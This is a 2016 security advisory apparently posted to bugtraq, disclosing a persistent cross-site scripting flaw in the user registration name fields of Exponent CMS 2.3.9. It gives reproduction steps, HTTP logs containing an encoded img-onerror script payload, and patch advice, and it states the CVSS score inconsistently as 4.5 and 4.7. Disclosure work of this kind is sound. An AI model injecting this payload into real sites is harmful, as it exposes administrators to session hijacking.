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Exponent CMS 2.3.9 - Useraccounts Persistent Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: Exponent CMS 2.3.9 - Useraccounts Persistent Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Thu, 28 Jul 2016 12:00:28 +0200
Document Title:
===============
Exponent CMS 2.3.9 - Useraccounts Persistent Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1886
Release Date:
=============
2016-07-27
Vulnerability Laboratory ID (VL-ID):
====================================
1886
Common Vulnerability Scoring System:
====================================
4.5
Product & Service Introduction:
===============================
Exponent is a web application that allows site owners to easily create and
manage dynamic websites. Unlike other
site management tools, Exponent is completely self-contained. No additional
applications need to be downloaded
by a user to permit them to use Exponent. Everything from user management to
site configuration to content editing
and approval is done within the system.
(Copy of the Vendor Homepage: http://www.exponentcms.org/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent input
validation vulnerability in the official Exponent v2.3.9 open-source content
management system.
Vulnerability Disclosure Timeline:
==================================
2016-07-27: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Exponent Community
Product: Exponent - Content Management System (Open Source) 2.3.9
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
An application-side input validation web vulnerability has been discovered in
the official Exponent v2.3.9 open-source content management system.
The vulnerability allows remote attackers to inject own malicious script codes
on the application-side of the vulnerable module or affected function.
The vulnerability is located in the `firstname` and `lastname` parameters of
the `useraccounts` module. The vulnerable inputs are `realname` and `user`.
Remote attackers are able to use the registration to inject own malicious
script codes to the backend of the exponent web-application. The injection
points
are the vulnerable `createuser` and `umgr_editprofile` of the user manager and
the execution point occurs in the `useraccounts` module. The request method
to inject is POST and the attack vector is persistent on the application-side.
The vulnerability can be exploited by local privileged user account or remotly
by anonymous users via basic registration. The execute in the useraccounts
module occurs on visit of the page module via backend by the administrator
account.
The security risk of the application-side web vulnerability is estimated as
medium with a cvss (common vulnerability scoring system) count of 4.7.
Exploitation of the vulnerability requires a low privileged web-application
user account (registration or create) and only low user interaction.
Successful exploitation of the vulnerability results in session hijacking,
persistent phishing attacks, persistent external redirects to malicious
source and persistent manipulation of affected or connected application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] createuser (basic user account)
[+] umgr_editprofile (admin account)
Vulnerable Parameter(s):
[+] firstname
[+] lastname
Affected Module(s):
[+] ./useraccounts
Proof of Concept (PoC):
=======================
The persistent input validation vulnerability can be exploited by remote
attackers with privileged web-application user account and with low user
interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Inject: Add or Register Account
URL: http://exponent_cms.localhost:8000/exponent/loginmodule/createuser/
URL:
http://exponent_cms.localhost:8000/exponent/administrationmodule/umgr_editprofile/id/0/
Execution: User Accounts
URL:
http://exponent_cms.localhost:8000/exponent/administrationmodule/useraccounts/
Manual steps to reproduce the vulnerability ...
1. Open the vulnerable cms website with the affected version
2. Surf to the user registration that is open by default
3. Include as realname and user name a script code payload (firstname &
lastname)
4. Save the registration via POST method request
Note: The user account arrives visible in the user accounts management of the
exponent cms (admin backend)
5. Now the admin login to his application and only needs to watch the user
accounts management to execute the payload
6. Successful reproduce of the vulnerability!
PoC: User Accounts Management Listing
<tbody id="dataTable">
<tr><td class="header administration_header"><a href="#"
onclick="paginate.sort("0"); return false;">Real Name</a>
<img id="sortCol_0"
src="/exponent/themes/common/images/icons/sortdescending.png" <tr class="row
even_row">
<td valign="top">[REALNAME PERSISTENT SCRIPT CODE EXECUTION!]</td><td
valign="top">[USER PERSISTENT SCRIPT CODE EXECUTION!]</td>
<td valign="top">asdasdasda@xxxxxxxx</td><td valign="top"><a class="mngmntlink
administration_mngmntlink"
href="/exponent/index.php?module=administrationmodule&action=umgr_edit&id=4"><img
class="mngmnt_icon" style="border:none;"
src="/exponent/themes/common/images/icons/edit.png" title="" alt=""></a><a
class="mngmntlink administration_mngmntlink"
href="/exponent/index.php?module=administrationmodule&action=umgr_delete&id=4"
onclick="return confirm('Are you sure you want to delete the user ' ">a<img
class="mngmnt_icon" style="border:none;"
src="/exponent/themes/common/images/icons/delete.png" title=""
alt=""></a></td></tr>
--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://exponent-cms.localhost:8000/exponent/index.php
Mime Type[text/html]
Request Header:
Host[exponent-cms.localhost:8000]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101
Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://exponent-cms.localhost:8000/exponent/loginmodule/editprofile/]
Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469530273.2;
__utmc=87180614;
__utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A;
fusion23Up5_visited=yes;
_pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.;
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.235kwgfwkeokfg.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D;
cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60;
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmb=87180614.3.10.1469530273; __utmt=1]
Connection[keep-alive]
POST-Daten:
id[1]
module[loginmodule]
action[saveprofile]
firstname[[PERSISTENT SCRIPT CODE INJECT!]]
lastname[+%22%3E%3C[PERSISTENT SCRIPT CODE INJECT!]%2823%29%3B%3E]
email[hagbart2016%40235kwgfwkeokfg.com]
Response Header:
Server[nginx/1.2.1]
Content-Type[text/html; charset=UTF-8]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
Set-Cookie[PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; expires=Thu, 03-Nov-2016
10:54:05 GMT; Max-Age=8640000; path=/]
Location[http://exponent-cms.localhost:8000/exponent/]
-
Status: 302[Found]
POST http://exponent-cms.localhost:8000/exponent/index.php
Mime Type[text/html]
Request Header:
Host[exponent-cms.localhost:8000]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101
Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://exponent-cms.localhost:8000/exponent/loginmodule/editprofile/]
Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469530273.2;
__utmc=87180614;
__utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A;
fusion23Up5_visited=yes;
_pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.;
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.235kwgfwkeokfg.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D;
cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60;
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmb=87180614.3.10.1469530273; __utmt=1]
Connection[keep-alive]
POST-Daten:
id[1]
module[loginmodule]
action[saveprofile]
firstname[+%22%3E++%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%2823%29%3B%3E]
lastname[+%22%3E++%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%2823%29%3B%3E]
email[opencms%40235kwgfwkeokfg.com]
-
Status: 200[OK]
GET
http://exponent-cms.localhost:8000/exponent/loginmodule/createuser/x[PERSISTENT
SCRIPT CODE EXECUTION!]
Mime Type[text/html]
Request Header:
Host[exponent-cms.localhost:8000]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101
Firefox/47.0]
Accept[*/*]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://exponent-cms.localhost:8000/exponent/loginmodule/createuser/a]
Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469530273.2;
__utmc=87180614;
__utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A;
fusion23Up5_visited=yes;
_pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.;
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.235kwgfwkeokfg.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D;
cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60;
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmb=87180614.3.10.1469530273; __utmt=1]
Connection[keep-alive]
Response Header:
Server[nginx/1.2.1]
Date[Tue, 26 Jul 2016 10:52:51 GMT]
Content-Type[text/html; charset=UTF-8]
Content-Length[4030]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
Set-Cookie[PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; expires=Thu, 03-Nov-2016
10:52:51 GMT; Max-Age=8640000; path=/]
-
Status: 200[OK]
GET
http://exponent-cms.localhost:8000/exponent/loginmodule/editprofile/x[PERSISTENT
SCRIPT CODE EXECUTION!]
Mime Type[text/html]
Request Header:
Host[exponent-cms.localhost:8000]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101
Firefox/47.0]
Accept[*/*]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://exponent-cms.localhost:8000/exponent/loginmodule/editprofile/x[PERSISTENT
SCRIPT CODE EXECUTION!]]
Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469530273.2;
__utmc=87180614;
__utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A;
fusion23Up5_visited=yes;
_pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.;
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.235kwgfwkeokfg.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D;
cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60;
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmb=87180614.3.10.1469530273; __utmt=1]
Connection[keep-alive]
Response Header:
Server[nginx/1.2.1]
Date[Tue, 26 Jul 2016 10:53:54 GMT]
Content-Type[text/html; charset=UTF-8]
Content-Length[4124]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
Set-Cookie[PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; expires=Thu, 03-Nov-2016
10:53:54 GMT; Max-Age=8640000; path=/]
Reference(s):
http://exponent-cms.localhost:8000/
http://exponent-cms.localhost:8000/exponent/
http://exponent-cms.localhost:8000/exponent/index.php
http://exponent-cms.localhost:8000/exponent/loginmodule/
http://exponent-cms.localhost:8000/exponent/loginmodule/editprofile/
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable
Username and Realname input fields.
Encode and parse the same in the registration and admin section to ensure no
ability for the attack vector is granted.
Disallow the usage of special chars on the affected parameters and input fields
of the user accounts management.
Parse in the user accounts management site the output values of the realname
and name to prevent application-side
attacks by registration of a basic user account.
Security Risk:
==============
The security risk of the application-side input validation vulnerability in the
exponent cms web-application is estimated as medium. (CVSS 4.5)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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